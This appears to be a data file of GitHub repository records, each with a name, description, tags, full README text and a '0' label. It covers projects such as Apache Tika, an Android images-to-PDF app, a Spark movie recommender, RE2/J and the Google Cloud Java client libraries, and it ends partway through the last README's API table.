Tika is a project of the [Apache Software Foundation](https://www.apache.org).
Apache Tika, Tika, Apache, the Apache feather logo, and the Apache Tika project logo are trademarks of The Apache Software Foundation.
Getting Started
===============
Pre-built binaries of Apache Tika standalone applications are available
from https://tika.apache.org/download.html . Pre-built binaries of all the
Tika jars can be fetched from Maven Central or your favourite Maven mirror.
**Tika 1.X reached End of Life (EOL) on September 30, 2022.**
Tika is based on **Java 11** and uses the [Maven 3](https://maven.apache.org) build system.
**N.B.** [Docker](https://www.docker.com/products/personal) is used for tests in tika-integration-tests.
As of Tika 2.5.1, if Docker is not installed, those tests are skipped. Docker is required for a successful
build on earlier 2.x versions.
To build Tika from source, use the following command in the main directory:
mvn clean install
The build consists of a number of components, including a standalone runnable jar that you can use to try out Tika features. You can run it like this:
java -jar tika-app/target/tika-app-*.jar --help
To build a specific project (for example, tika-server-standard):
mvn clean install -am -pl :tika-server-standard
If the ossindex-maven-plugin is causing the build to fail because a dependency
has now been discovered to have a vulnerability:
mvn clean install -Dossindex.skip
Maven Dependencies
==================
Apache Tika provides *Bill of Material* (BOM) artifact to align Tika module versions and simplify version management.
To avoid convergence errors in your own project, import this
bom or Tika's parent pom.xml in your dependency management section.
If you use Apache Maven:
```xml
<project>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-bom</artifactId>
<version>2.x.y</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-parsers-standard-package</artifactId>
<!-- version not required since BOM included -->
</dependency>
</dependencies>
</project>
```
For Gradle:
```kotlin
dependencies {
implementation(platform("org.apache.tika:tika-bom:2.x.y"))
// version not required since bom (platform in Gradle terms)
implementation("org.apache.tika:tika-parsers-standard-package")
}
```
Migrating to 2.x
================
The initial 2.x release notes are available in the [archives](https://archive.apache.org/dist/tika/2.0.0/CHANGES-2.0.0.txt).
See our [wiki](https://cwiki.apache.org/confluence/display/TIKA/Migrating+to+Tika+2.0.0) for the latest.
Contributing via Github
=======================
See the [pull request template](https://github.com/apache/tika/blob/main/.github/pull_request_template.md).
**NOTE:** Please open pull requests against the `main` branch. We locked `master` in September 2020 and no longer use it.
## Thanks to all the people who have contributed
[](https://github.com/apache/tika/graphs/contributors)
Building from a Specific Tag
============================
Let's assume that you want to build the 2.5.0 tag:
```
0. Download and install hub.github.com
1. git clone https://github.com/apache/tika.git
2. cd tika
3. git checkout 2.5.0
4. mvn clean install
```
If a new vulnerability has been discovered between the date of the
tag and the date you are building the tag, you may need to build with:
```
4. mvn clean install -Dossindex.skip
```
If a local test is not working in your environment, please notify
the project at dev@tika.apache.org. As an immediate workaround,
you can turn off individual tests with e.g.:
```
4. mvn clean install -Dossindex.skip -Dtest=\!UnpackerResourceTest#testPDFImages
```
License (see also LICENSE.txt)
==============================
Collective work: Copyright 2011 The Apache Software Foundation.
Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
<https://www.apache.org/licenses/LICENSE-2.0>
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
Apache Tika includes a number of subcomponents with separate copyright notices and license terms. Your use of these subcomponents is subject to the terms and conditions of the licenses listed in the LICENSE.txt file.
Export Control
==============
This distribution includes cryptographic software. The country in which you currently reside may have restrictions on the import, possession, use, and/or re-export to another country, of encryption software. BEFORE using any encryption software, please check your country's laws, regulations and policies concerning the import, possession, or use, and re-export of encryption software, to see if this is permitted. See <http://www.wassenaar.org/> for more information.
The U.S. Government Department of Commerce, Bureau of Industry and Security (BIS), has classified this software as Export Commodity Control Number (ECCN) 5D002.C.1, which includes information security software using or performing cryptographic functions with asymmetric algorithms. The form and manner of this Apache Software Foundation distribution makes it eligible for export under the License Exception ENC Technology Software Unrestricted (TSU) exception (see the BIS Export Administration Regulations, Section 740.13) for both object code and source code.
The following provides more details on the included cryptographic software:
Apache Tika uses the Bouncy Castle generic encryption libraries for extracting text content and metadata from encrypted PDF files. See <http://www.bouncycastle.org/> for more details on Bouncy Castle.
Mailing Lists
=============
Discussion about Tika takes place on the following mailing lists:
* user@tika.apache.org - About using Tika
* dev@tika.apache.org - About developing Tika
Notification on all code changes are sent to the following mailing list:
* commits@tika.apache.org
The mailing lists are open to anyone and publicly archived.
You can subscribe the mailing lists by sending a message to
[LIST]-subscribe@tika.apache.org (for example, user-subscribe@...).
To unsubscribe, send a message to [LIST]-unsubscribe@tika.apache.org.
For more instructions, send a message to [LIST]-help@tika.apache.org.
Issue Tracker
=============
If you encounter errors in Tika or want to suggest an improvement or a new feature,
please visit the [Tika issue tracker](https://issues.apache.org/jira/browse/TIKA).
There you can also find the latest information on known issues and
recent bug fixes and enhancements.
Build Issues
============
*TODO*
* Need to install jce
* If you find any other issues while building, please email the dev@tika.apache.org
list.
| 0 |
Swati4star/Images-to-PDF | An app to convert images to PDF file! | convert-images hacktoberfest jpg jpg-images pdf pdf-converter pdf-files playstore text-to-pdf | # Images To PDF
### Badges
[](https://travis-ci.org/Swati4star/Images-to-PDF)
[](https://codeclimate.com/github/Swati4star/Images-to-PDF)
[](https://android-arsenal.com/details/3/7132)
[<img src="https://fdroid.gitlab.io/artwork/badge/get-it-on.png" alt="Get it on F-Droid" height="80">](https://f-droid.org/app/swati4star.createpdf)
[<img src="https://play.google.com/intl/en_us/badges/images/generic/en-play-badge.png" alt="Get it on Google Play" height=
"80">](https://play.google.com/store/apps/details?id=swati4star.createpdf)
Have JPG when you need a PDF? Convert JPG to PDF in a few seconds! :smiley:
Here is an easy to use Android app to convert images to PDF file!
<img src="./screenshots/image_to_pdf2.gif" width="300px">
### Support Us
<a href="https://www.buymeacoffee.com/qITGMWB" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: auto !important;width: auto !important;" ></a>
### Features
- Create PDF from multiple images from camera or gallery
- View your converted PDFs
- Open, Rename, Delete, print, share files
- Sort the files order based on a number of options
- View File details
- Encrypt PDF
- Decrypt PDF
- Rotate Pages
- Different themes
- Merge existing PDFs
- Split existing PDFs
- Convert text file to PDFs
- Compress existing PDF
- Remove pages from a PDF
- Rearrange pages of a PDF
- Extract images from PDF
- History : View all the PDF related conversions
Here is a home page to get quick access to all the features "PDF Converter" provides:
<img src="./screenshots/0_1_home.png" width="190px"> <img src="./screenshots/0_2_home.png" width="190px">
### Creating a PDF file
##### Step 1 : User can view the PDF files previously created or create a new one!
<img src="./screenshots/1_home.png" width="190px">
##### Step 2 : Select the images
<img src="./screenshots/2_1_camera.png" width="190px"> <img src="./screenshots/2_gallery.png" width="190px">
##### Step 3 : Name the PDF file
<img src="./screenshots/3_rename.png" width="190px">
##### Step 4 : Creating PDF
<img src="./screenshots/4_converting.png" width="190px">
Hurray! PDF files of selected images are created.
### Viewing the PDF files
<img src="./screenshots/5_viewfiles.png" width="190px"> <img src="./screenshots/6_viewfiles_Action.png" width="190px">
### Different themes
Go to Settings, and you can have three type of themes : Black, Dark and White
Black | Dark | White |
--- | --- | --- |
<img src="./screenshots/home_theme_black.png" width="190px"> | <img src="./screenshots/home_theme_dark.png" width="190px"> | <img src="./screenshots/home_theme_white.png" width="190px"> |
### Merge PDF
<img src="./screenshots/7_merge_pdf.png" width="190px">
### Text to PDF
<img src="./screenshots/8_text_to_pdf.png" width="190px">
### History
<img src="./screenshots/9_history.png" width="190px">
### Contributing
#### Dependencies
+ [Butterknife](https://jakewharton.github.io/butterknife/)
+ [Folderpicker](https://github.com/kashifo/android-folder-picker-library)
+ [Image-cropper](https://github.com/ArthurHub/Android-Image-Cropper)
+ [iTextG](http://developers.itextpdf.com/itextg-android)
+ [Lottie](https://github.com/airbnb/lottie-android)
+ [Matisse](https://github.com/zhihu/Matisse)
+ [Material Dialogs](https://github.com/afollestad/material-dialogs)
+ [Material Ripple](https://github.com/balysv/material-ripple)
+ [Morphing Button](https://github.com/dmytrodanylyk/android-morphing-button)
+ [Picasso](http://square.github.io/picasso/)
+ [Picasso-transformations](https://github.com/wasabeef/picasso-transformations)
+ [PhotoEditor](https://github.com/burhanrashid52/PhotoEditor)
+ [viewpager-transformers](https://github.com/geftimov/android-viewpager-transformers)
+ [zxing](https://github.com/zxing/zxing)
#### Code & Issues
If you are a developer and you wish to contribute to the app please fork the project
and submit a pull request.
Follow [Github Flow](https://help.github.com/articles/github-flow/) for collaboration!
If you have any questions, feel free to ask [me](mailto:swati4star@gmail.com) about whatever you
want.
[Here](https://github.com/Swati4star/Images-to-PDF/issues) is the list of known issues.
### Project Maintainers
This project is founded and actively maintained by [Swati Garg](https://github.com/Swati4star/). For
any sort of queries feel free to mail at swati4star@gmail.com.
| 0 |
LuckyZXL2016/Movie_Recommend | 基于Spark的电影推荐系统，包含爬虫项目、web网站、后台管理系统以及spark推荐系统 | hadoop hive mysql nginx scala scrapy spark-mllib spark-streaming ssm-maven | # 基于Spark的电影推荐系统
本次项目是基于大数据过滤引擎的电影推荐系统--“懂你”电影网站，包含了爬虫、电影网站（前端和后端）、后台管理系统以及推荐系统（Spark）。
## 一、爬虫
**开发环境：** pycharm + python3.6
**软件架构：** mysql + scrapy
**运行环境：** 本次爬取的内容在外网，所以需先翻墙后才能成功运行。
**项目架构：**
## 二、电影网站
**开发环境：** IntelliJ IDEA + maven + git + linux + powerdesigner
**软件架构：** mysql + mybatis + spring + springmvc
**项目描述：** 懂你电影推荐网站是一个基于SSM框架的web项目，类似当前比较流行的豆瓣。用户可以在网站上浏览电影信息和查询电影，并且网站会根据用户的浏览记录给用户进行实时的电影推荐。现已将网站部署在 http://115.159.204.68 网站上，感兴趣的朋友可以自行查看。Git的安装与IDEA和github的集成可以参考[博客](https://blog.csdn.net/u011254180/article/details/79857684)。
**项目架构：**
## 三、后台管理系统
**开发环境：** IntelliJ IDEA + maven + git + linux + powerdesigner
**软件架构：** mysql + mybatis + spring + springmvc + easyui
**项目描述：** 后台管理系统主要对用户信息和电影信息进行管理，如添加删除电影信息和完成用户信息的完善。其中为了更好地保存电影的图片信息，搭建了图片服务器，关于图片服务器FastDFS的搭建可参考[博客](https://blog.csdn.net/u011254180/article/details/79453775)。后台系统也布置在服务器上，感兴趣的朋友可以通过地址 http://115.159.204.68:8080/ 访问，为大家提供的测试账号为 test，密码为88888888。
**项目架构：**
## 四、推荐系统（Spark）
**开发环境：** IntelliJ IDEA + maven + git + linux
**软件架构：** hadoop + zookeeper + flume + kafka + nginx + spark + hive + mysql
**项目描述：** 通过在电影网站系统埋点，获取到用户的点击事件（如用户喜欢哪部电影或对某部电影的评分）并将信息传至推荐系统，推荐系统根据该信息做出相应的处理，将推荐结果存入到mysql数据库中，web前端通过查询数据库将推荐的电影展示给用户。推荐流程如下：
**项目架构：**
**具体步骤：**
**1.服务器规划（linux镜像为centos6）：**
- spark1（ip 192.168.13.134），分配8G内存，4核
- spark2（ip 192.168.13.135），分配6G内存，4核
- spark3（ip 192.168.13.136），分配6G内存，4核
**2.电影数据集，[地址](https://grouplens.org/datasets/movielens/)：** 本次下载的为1m大小的数据集
**3.环境的搭建：**
1）[hdfs搭建](http://blog.csdn.net/u011254180/article/details/79377808)
- spark1上搭建namenode,secondary namenode,datanode
- spark2上搭建datanode
- spark3上搭建datanode
2）[yarn搭建](http://blog.csdn.net/u011254180/article/details/79377808)
- spark1上搭建resourcemanager,nodemanager
- spark2上搭建nodemanager
- spark3上搭建nodemanager
3）[mysql搭建](http://blog.csdn.net/u011254180/article/details/77893585),在spark2上搭建
4）[hive搭建](http://blog.csdn.net/u011254180/article/details/78068897),在spark1上搭建
5）[spark集群搭建](http://blog.csdn.net/u011254180/article/details/79381172)，搭建standalone模式，spark1为master，其他为worker
**4.数据的清洗：** （上传数据至hdfs中，[hdfs操作](http://blog.csdn.net/u011254180/article/details/79399422)）
1）启动 hdfs： [root@spark1 ~]# start-dfs.sh
2）启动 yarn： [root@spark1 ~]# start-yarn.sh
3）启动 mysql： [root@spark2 ~]# service mysqld start
4）启动 hive： [root@spark1 ~]# hive --service metastore
5）启动 spark集群： [root@spark1 spark-1.6.1]# ./sbin/start-all.sh
6）代码(com.zxl.datacleaner.ETL)打包上传（[spark-sql与hive集成](http://blog.csdn.net/u011254180/article/details/79395227)）
- 代码位于 package com.zxl.datacleaner.ETL，打包为 ETL.jar
- 运行代码 spark-submit --class com.zxl.datacleaner.ETL --total-executor-cores 2 --executor-memory 2g lib/ETL.jar
- 成功于hive中建表
**5.数据的加工，** 根据ALS算法对数据建立模型([ALS论文](https://github.com/ZzXxL1994/Machine-Learning-Papers/tree/master/ALS))
1）启动 hdfs： [root@spark1 ~]# start-dfs.sh
2）启动 yarn： [root@spark1 ~]# start-yarn.sh
3）启动 mysql： [root@spark2 ~]# service mysqld start
4）启动 hive： [root@spark1 ~]# hive --service metastore
5）启动 spark集群： [root@spark1 spark-1.6.1]# ./sbin/start-all.sh
6）代码(com.zxl.datacleaner.RatingData)打包上传，测试建立模型
**6.建立模型，** 根据RMSE(均方根误差)选取较好的模型
1）启动上述的服务
2）代码(com.zxl.ml.ModelTraining)打包上传，建立模型
注：com.zxl.ml.ModelTraining2中代码训练单个模型，其中参数 rank=50, iteration = 10, lambda = 0.01
- 代码位于 package com.zxl.ml.ModelTraining，打包为 Spark_Movie.jar
- 运行代码 spark-submit --class com.zxl.ml.ModelTraining lib/Spark_Movie.jar
**7.产生推荐结果**
1）启动上述的服务
2）代码(com.zxl.ml.Recommender)打包上传，产生推荐结果
**8.数据入库，** 存储为所有用户推荐的电影结果，mysql中存入的格式为(userid, movieid,rating)
1）启动上述的服务
2）代码(com.zxl.ml.RecommendForAllUsers)打包上传，数据入库
- 运行代码 spark-submit --class com.zxl.ml.RecommendForAllUsers --jars lib/mysql-connector-java-5.1.35-bin.jar lib/Spark_Movie.jar
**9.实时数据的发送**
1）[安装nginx](https://blog.csdn.net/u011254180/article/details/77897663)，用来接收电影网站上用户的点击信息，写入本地文件
2）[安装flume](https://blog.csdn.net/u011254180/article/details/80000763)，实时监控本地文件，将数据发送至kafka消息队列中
**10.实时数据的接收处理** ，如果打包到服务器运行错误，也可在本地IDEA上运行
1）[安装zookeeper](http://blog.csdn.net/u011254180/article/details/79480234)
2）[安装kafka](http://blog.csdn.net/u011254180/article/details/79481088)，用来接收发送数据
3）启动上述的服务
4）启动zookeeper： [root@spark1 soft]# zkServer.sh start
4）启动flume：[root@spark1 flume]# bin/flume-ng agent -c ./conf/ -f conf/flume-conf.properties -Dflume.root.logger=DEBUG,console -n a1
5）启动kafka： [root@spark1 kafka_2.11-0.10.1.0]# bin/kafka-server-start.sh config/server.properties
6）代码(com.zxl.datacleaner.PopularMovies2)运行，用于为没有登录或新用户推荐，默认推荐观看最多的5部电影
7）代码运行(需指定jar包 kafka-clients-0.10.1.0.jar)
- spark-submit --class com.zxl.streaming.SparkDrStreamALS --total-executor-cores 2 --executor-memory 1g --jars lib/kafka-clients-0.10.1.0.jar lib/Spark_Movie.jar
| 0 |
apache/jena | Apache Jena | apache jena rdf sparql | Jena README
===========
Welcome to Apache Jena, a Java framework for writing Semantic Web applications.
See https://jena.apache.org/ for the project website, including documentation.
The codebase for the active modules is in git:
https://github.com/apache/jena
| 0 |
davidfantasy/mybatis-plus-generator-ui | 对mybatis-plus-generator进行封装，通过Web UI快速生成兼容Spring boot，mybatis-plus框架的各类业务代码 | mybaits-generator mybatis mybatis-plus mybatis-plus-generator | ## mybatis-plus-generator-ui
提供交互式的Web UI用于生成兼容mybatis-plus框架的相关功能代码，包括Entity,Mapper,Mapper.xml,Service,Controller等
，可以自定义模板以及各类输出参数，也可通过SQL查询语句直接生成代码。
## 使用方法
1. 引入maven的相关依赖，注意scope只需要写test就可以了
```xml
<dependency>
<groupId>com.github.davidfantasy</groupId>
<artifactId>mybatis-plus-generator-ui</artifactId>
<version>2.0.5</version>
<scope>test</scope>
</dependency>
```
2. 在项目的test目录新建一个启动类，代码示例如下：
```java
public class GeberatorUIServer {
public static void main(String[] args) {
GeneratorConfig config = GeneratorConfig.builder().jdbcUrl("jdbc:mysql://192.168.1.211:3306/example")
.userName("root")
.password("root")
.driverClassName("com.mysql.cj.jdbc.Driver")
//数据库schema，MSSQL,PGSQL,ORACLE,DB2类型的数据库需要指定
.schemaName("myBusiness")
//数据库表前缀，生成entity名称时会去掉(v2.0.3新增)
.tablePrefix("t_")
//如果需要修改entity及其属性的命名规则，以及自定义各类生成文件的命名规则，可自定义一个NameConverter实例，覆盖相应的名称转换方法，详细可查看该接口的说明：
.nameConverter(new NameConverter() {
/**
* 自定义Service类文件的名称规则，entityName是NameConverter.entityNameConvert处理表名后的返回结果，如有特别的需求可以自定义实现
*/
@Override
public String serviceNameConvert(String entityName) {
return entityName + "Service";
}
/**
* 自定义Controller类文件的名称规则
*/
@Override
public String controllerNameConvert(String entityName) {
return entityName + "Action";
}
})
//所有生成的java文件的父包名，后续也可单独在界面上设置
.basePackage("com.github.davidfantasy.mybatisplustools.example")
.port(8068)
.build();
MybatisPlusToolsApplication.run(config);
}
}
```
3. 运行该启动类，启动一个Generator Server。然后访问[http://localhost:8068](http://localhost:8068/)（端口是可配置的）即可进入到管理界面。
**GeneratorConfig**还包含一些基本的配置参数以及各个可扩展的接口，比如自定义模板参数，数据库日期类型与Java类型的映射关系等，具体的说明可查看源码注释。
**重要提示**：如果需要自定义entity,servie这些生成文件的类名，只需要自己实现NameConverter中对应的方法即可，可参考com.github.davidfantasy.mybatisplus.generatorui.mbp.NameConverter中默认方法的实现！！
#### 重要更新
**1.4.0** 版本之后，可支持将GeberatorUIServer独立部署为一个单独的spring boot项目，通过页面指定目标项目根目录的方式为多个项目提供源码生成服务。
**2.0.0** 版本已经支持最新的mybatis-plus 3.5.X，才用重构后新的MBP作为代码生成引擎。
## 主要功能
1. **数据表的查询和浏览**：可以直接浏览和查询配置的数据源的数据表信息，可选择一个或多个生成模板代码：
2. **输出文件的配置**
：内置Entity,Mapper,Service,Controller等6种类型代码的模板配置，可以上传模板进行替换，并修改各类参数，配置参数已经按照影响的文件类型重新进行了分类，并加入了部分文本说明；也可以自行添加其它类型的自定义输出文件。所有的配置项都会按照项目包名进行保存，只需一次性设置就可以了。
3. **代码生成选项**：将每次生成代码时可能变动的内容加入到代码生成选项中，方便调整每次的生成策略，比如：是否覆盖原文件，生成文件的种类等等：
4. **SQL结果集自动生成代码**：通过输入查询SQL，可自动在Mapper（Xml及Java）中生成对应的查询方法，DTO对象和ResultMap（结果集映射配置）
5. **动态SQL增强**：自动识别含有mybatis动态参数的where条件，转换为mybatis的动态SQL条件
## 常见问题
**Q:下载源码中怎么直接运行？**
**不建议直接下载源码运行**
，该项目是设计为直接嵌入到对应的业务项目中使用，可以自动识别项目路径等环境变量。如需采用源码运行，需要另行编译src\frontend中的静态资源（源码中不包含已编译的页面），在src\frontend文件夹中执行：
~~~shell
yarn install
yarn run build
~~~
然后修改src\test\java\TestApplication中数据库的相关配置，并运行。
**Q:支持哪些类型的数据库？**
支持几乎所有主流的数据库，具体可参考mybatis-plus-generator框架的文档。需要自行引入数据库的driver包，并在
GeneratorConfig中指定driverClassName。
**Q:怎么自定义模板参数？**
在GeneratorConfig中自定义TemplateVaribleInjecter，返回需要在模板中使用的参数，例如：
```java
GeneratorConfig config=GeneratorConfig.builder()
.templateVaribleInjecter(new TemplateVaribleInjecter(){
@Override
public Map<String, Object> getCustomTemplateVaribles(TableInfo tableInfo){
Map<String, Object> params=new HashMap<>();
return params;
}
})
```
**Q:保存的配置是存储到什么地方的？**
所有的用户保存的配置是按照basePackage分组保存到user.home目录的.mybatis-plus-generator-ui中的，不同项目的配置不会互相影响。
**Q:启动报错问题排查**
大部分的启动问题都是由于依赖冲突导致的，因为mybatis-plus-generator-ui也依赖于springboot和mybatis-plus，请先检查依赖包版本是否相差过大；1.X的版本仅支持最高mp的3.4.X版本，在高版本的springboot(大于2.4)上启动也会有问题，2.0.0版本已经解决了相关的兼容性问题； | 0 |
google/re2j | linear time regular expression matching in Java | java regular-expressions | RE2/J: linear time regular expression matching in Java
======================================================
[](https://github.com/google/re2j/actions/workflows/gradle.yaml?query=branch%3Amaster)
[](https://codecov.io/gh/google/re2j)
RE2 is a regular expression engine that runs in time linear in the size of the
input. RE2/J is a port of C++ library [RE2](https://github.com/google/re2) to pure Java.
Java's standard regular expression package, `java.util.regex`, and many other
widely used regular expression packages such as PCRE, Perl and Python use a
backtracking implementation strategy: when a pattern presents two alternatives
such as `a|b`, the engine will try to match subpattern `a` first, and if that
yields no match, it will reset the input stream and try to match `b` instead.
If such choices are deeply nested, this strategy requires an exponential number
of passes over the input data before it can detect whether the input matches.
If the input is large, it is easy to construct a pattern whose running time
would exceed the lifetime of the universe. This creates a security risk when
accepting regular expression patterns from untrusted sources, such as users of
a web application.
In contrast, the RE2 algorithm explores all matches simultaneously in a single
pass over the input data by using a _nondeterministic_ finite automaton.
There are certain features of PCRE or Perl regular expressions that cannot be
implemented in linear time, for example, backreferences, but the vast majority
of regular expressions patterns in practice avoid such features.
# Why should I switch?
If you use regular expression patterns with a high degree of alternation, your
code may run faster with RE2/J. In the worst case, the `java.util.regex`
matcher may run forever, or exceed the available stack space and fail; this
will never happen with RE2/J.
# Caveats
This is not an official Google product (experimental or otherwise), it is just
code that happens to be owned by Google.
RE2/J is not a drop-in replacement for `java.util.regex`. Aside from the
different package name, it doesn't support the following parts of the
interface:
* the MatchResult class
* Matcher.hasAnchoringBounds()
* Matcher.hasTransparentBounds()
* Matcher.hitEnd()
* Matcher.region(int, int)
* Matcher.regionEnd()
* Matcher.regionStart()
* Matcher.requireEnd()
* Matcher.toMatchResult()
* Matcher.useAnchoringBounds(boolean)
* Matcher.usePattern(Pattern)
* Matcher.useTransparentBounds(boolean)
* CANON_EQ
* COMMENTS
* LITERAL
* UNICODE_CASE
* UNICODE_CHARACTER_CLASS
* UNIX_LINES
* PatternSyntaxException.getMessage()
It also doesn't have parity with the full set of Java's character classes and
special regular expression constructs.
# Getting RE2/J
If you're using Maven, you can use the following snippet in your `pom.xml` to get RE2/J:
```xml
<dependency>
<groupId>com.google.re2j</groupId>
<artifactId>re2j</artifactId>
<version>1.6</version>
</dependency>
```
You can use the same artifact details in any build system compatible with the Maven Central repositories (e.g. Gradle, Ivy).
You can also download RE2/J the old-fashioned way: go to [the RE2/J release tag](https://github.com/google/re2j/releases), download the RE2/J JAR and add it to your CLASSPATH.
# Discussion and contribution
We have set up a Google Group for discussion, please join the [RE2/J discussion
list](http://groups.google.com/group/re2j-discuss) if you'd like to get in
touch.
If you would like to contribute patches, please see the [instructions for
contributors](CONTRIBUTING.md).
# Who wrote this?
RE2 was designed and implemented in C++ by Russ Cox. The C++ implementation
includes both NFA and DFA engines and numerous optimisations. Russ also ported
a simplified version of the NFA to Go. Alan Donovan ported the NFA-based Go
implementation to Java. Afroz Mohiuddin wrapped the engine in a familiar Java
`Matcher` / `Pattern` API. James Ring prepared the open-source release
and has been its primary maintainer since then.
| 0 |
googleapis/google-cloud-java | Google Cloud Client Library for Java | artisanal cloud-bigquery cloud-datastore cloud-storage gcp google-cloud java | # Google Cloud Java Client Libraries
> Java idiomatic client for [Google Cloud Platform][cloud-platform] services.
* [Java on Google Cloud][cloud-java]
## Supported APIs
Libraries are available on GitHub and Maven Central for developing Java applications that interact with individual Google Cloud services:
[//]: # (API_TABLE_START)
| Client | Release Level | Version |
| ------ | ------------- | ------- |
| [AI Platform Notebooks](https://github.com/googleapis/google-cloud-java/tree/main/java-notebooks) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-notebooks&core=gav) |
| [API Gateway](https://github.com/googleapis/google-cloud-java/tree/main/java-api-gateway) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-api-gateway&core=gav) |
| [Access Approval](https://github.com/googleapis/google-cloud-java/tree/main/java-accessapproval) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-accessapproval&core=gav) |
| [Apigee Connect](https://github.com/googleapis/google-cloud-java/tree/main/java-apigee-connect) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-apigee-connect&core=gav) |
| [App Engine Admin API](https://github.com/googleapis/google-cloud-java/tree/main/java-appengine-admin) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-appengine-admin&core=gav) |
| [Artifact Registry](https://github.com/googleapis/google-cloud-java/tree/main/java-artifact-registry) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-artifact-registry&core=gav) |
| [Asset Inventory](https://github.com/googleapis/google-cloud-java/tree/main/java-asset) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-asset&core=gav) |
| [Assured Workloads for Government](https://github.com/googleapis/google-cloud-java/tree/main/java-assured-workloads) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-assured-workloads&core=gav) |
| [Auto ML](https://github.com/googleapis/google-cloud-java/tree/main/java-automl) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-automl&core=gav) |
| [BigQuery](https://github.com/googleapis/java-bigquery) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-bigquery&core=gav) |
| [BigQuery Connection](https://github.com/googleapis/google-cloud-java/tree/main/java-bigqueryconnection) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-bigqueryconnection&core=gav) |
| [BigQuery Data Transfer Service](https://github.com/googleapis/google-cloud-java/tree/main/java-bigquerydatatransfer) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-bigquerydatatransfer&core=gav) |
| [BigQuery Reservation](https://github.com/googleapis/google-cloud-java/tree/main/java-bigqueryreservation) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-bigqueryreservation&core=gav) |
| [BigQuery Storage](https://github.com/googleapis/java-bigquerystorage) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-bigquerystorage&core=gav) |
| [Bigtable](https://github.com/googleapis/java-bigtable) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-bigtable&core=gav) |
| [Bigtable Hbase Client](https://github.com/googleapis/java-bigtable-hbase) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud.bigtable%20AND%20a:bigtable-client-parent&core=gav) |
| [Billing](https://github.com/googleapis/google-cloud-java/tree/main/java-billing) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-billing&core=gav) |
| [Billing Budgets](https://github.com/googleapis/google-cloud-java/tree/main/java-billingbudgets) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-billingbudgets&core=gav) |
| [Binary Authorization](https://github.com/googleapis/google-cloud-java/tree/main/java-binary-authorization) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-binary-authorization&core=gav) |
| [Build](https://github.com/googleapis/google-cloud-java/tree/main/java-cloudbuild) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-build&core=gav) |
| [CCAI Insights](https://github.com/googleapis/google-cloud-java/tree/main/java-contact-center-insights) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-contact-center-insights&core=gav) |
| [Certificate Authority Service](https://github.com/googleapis/google-cloud-java/tree/main/java-security-private-ca) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-security-private-ca&core=gav) |
| [Channel Services](https://github.com/googleapis/google-cloud-java/tree/main/java-channel) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-channel&core=gav) |
| [Composer](https://github.com/googleapis/google-cloud-java/tree/main/java-orchestration-airflow) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-orchestration-airflow&core=gav) |
| [Compute Engine](https://github.com/googleapis/google-cloud-java/tree/main/java-compute) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-compute&core=gav) |
| [Container Analysis](https://github.com/googleapis/google-cloud-java/tree/main/java-containeranalysis) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-containeranalysis&core=gav) |
| [DNS](https://github.com/googleapis/google-cloud-java/tree/main/java-dns) | [![stable][stable-stability]][stable-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-dns&core=gav) |
